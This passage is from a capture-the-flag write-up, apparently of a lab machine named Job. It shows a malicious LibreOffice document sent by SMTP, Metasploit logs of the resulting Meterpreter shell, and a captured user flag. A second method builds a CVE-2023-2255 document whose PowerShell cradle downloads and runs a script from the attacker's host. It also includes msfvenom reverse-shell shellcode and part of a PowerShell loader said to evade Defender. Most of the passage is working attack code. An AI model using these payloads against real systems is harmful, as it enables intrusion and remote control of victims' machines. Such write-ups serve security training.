-> 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
-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
-> AAAADAAMAAIDAAAIGwAAAAA=
->
-> ------=_MIME_BOUNDARY_000_40708--
->
->
-> .
<- 250 Queued (1.468 seconds)
-> QUIT
<- 221 goodbye
=== Connection closed with remote host.
After few minutes we got our callback:
[*] 10.10.97.227 openoffice_document_macro - Sending payload
Then our reverse shell is downloaded:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.97.227 - - [17/Feb/2025 19:25:02] "GET /rshell.txt HTTP/1.1" 200 -
Then it executed and we got a shell as Jack.Black:
[!] https://10.8.4.253:443 handling request from 10.10.97.227; (UUID: rtdkonty) Without a database connected that payload UUID tracking will not work!
[*] https://10.8.4.253:443 handling request from 10.10.97.227; (UUID: rtdkonty) Staging x64 payload (204892 bytes) ...
[!] https://10.8.4.253:443 handling request from 10.10.97.227; (UUID: rtdkonty) Without a database connected that payload UUID tracking will not work!
msf6 exploit(multi/misc/openoffice_document_macro) > [*] Meterpreter session 1 opened (10.8.4.253:443 -> 10.10.97.227:51866) at 2025-02-17 19:25:30 +0900
msf6 exploit(multi/misc/openoffice_document_macro) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows JOB\jack.black @ JOB 10.8.4.253:443 -> 10.10.97.227:51866 (10.10.97.227)
Then we got the flag Job_User in the Desktop folder of Jack:
msf6 exploit(multi/misc/openoffice_document_macro) > sessions 1
[*] Starting interaction with 1...
meterpreter > pwd
C:\Program Files\LibreOffice\program
meterpreter > cd c:\\users
meterpreter > ls
Listing: c:\users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 8192 dir 2021-11-11 05:52:42 +0900 .NET v2.0
040777/rwxrwxrwx 8192 dir 2021-11-11 05:52:39 +0900 .NET v2.0 Classic
040777/rwxrwxrwx 8192 dir 2021-11-11 05:52:49 +0900 .NET v4.5
040777/rwxrwxrwx 8192 dir 2021-11-11 05:52:46 +0900 .NET v4.5 Classic
040777/rwxrwxrwx 8192 dir 2021-11-10 05:51:42 +0900 Administrator
040777/rwxrwxrwx 0 dir 2021-05-08 17:34:03 +0900 All Users
040777/rwxrwxrwx 8192 dir 2021-11-11 05:52:36 +0900 Classic .NET AppPool
040555/r-xr-xr-x 8192 dir 2021-11-10 05:25:28 +0900 Default
040777/rwxrwxrwx 0 dir 2021-05-08 17:34:03 +0900 Default User
040555/r-xr-xr-x 4096 dir 2021-09-16 00:12:21 +0900 Public
100666/rw-rw-rw- 174 fil 2021-05-08 17:18:31 +0900 desktop.ini
040777/rwxrwxrwx 8192 dir 2025-02-17 18:55:35 +0900 jack.black
meterpreter > cd jack.black\\Desktop
meterpreter > ls
Listing: c:\users\jack.black\Desktop
====================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2021-11-10 06:35:39 +0900 desktop.ini
100666/rw-rw-rw- 36 fil 2021-11-10 06:43:39 +0900 user.txt
meterpreter > cat user.txt
VL{0fa14ce0007c3e1d9990679ec1525dc1}
Way 2 - with Manual steps
Create a malicious Libre Office document included our PoSH stager:
$ git clone https://github.com/elweth-sec/CVE-2023-2255.git
$ cd CVE-2023-2255
$ python3 CVE-2023-2255.py --cmd "cmd /c powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.8.4.253/rshell2.txt');" --output 'cv2.odt'
File cv2.odt has been created !
Copy the malicious ODT file to our folder where we will store our PoSH reverse shell and start our local web server:
$ cd ..
$ cp CVE-2023-2255/cv2.odt ./cv2.odt
Create our powershell reverse shell bypassing Defender:
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.253 LPORT=443 -f ps1 -v SHELLCODE
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of ps1 file: 1598 bytes
[Byte[]] $SHELLCODE = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x5,0x68,0xa,0x8,0x4,0xfd,0x68,0x2,0x0,0x1,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xc,0xff,0x4e,0x8,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x0,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,0x1,0x1,0x8d,0x44,0x24,0x10,0xc6,0x0,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5
$ cat rshell2.txt
[Byte[]] $SHELLCODE = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x5,0x68,0xa,0x8,0x4,0xfd,0x68,0x2,0x0,0x1,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xc,0xff,0x4e,0x8,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x0,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,0x1,0x1,0x8d,0x44,0x24,0x10,0xc6,0x0,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5
filter Get-Type ([string]$dllName,[string]$typeName)
{
if( $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($dllName) )
{
$_.GetType($typeName)
}
}
function Get-Function
{
Param(
[string] $module,
[string] $function
)
if( ($null -eq $GetModuleHandle) -or ($null -eq $GetProcAddress) )
{
throw "Error: GetModuleHandle and GetProcAddress must be initialized first!"
}
$moduleHandle = $GetModuleHandle.Invoke($null, @($module))
$GetProcAddress.Invoke($null, @($moduleHandle, $function))
}
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr,
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes,
[Parameter(Position = 2)] [Type] $retType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Obtain the required types via reflection
$assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
$unsafeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.UnsafeNativeMethods'
$nativeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods'
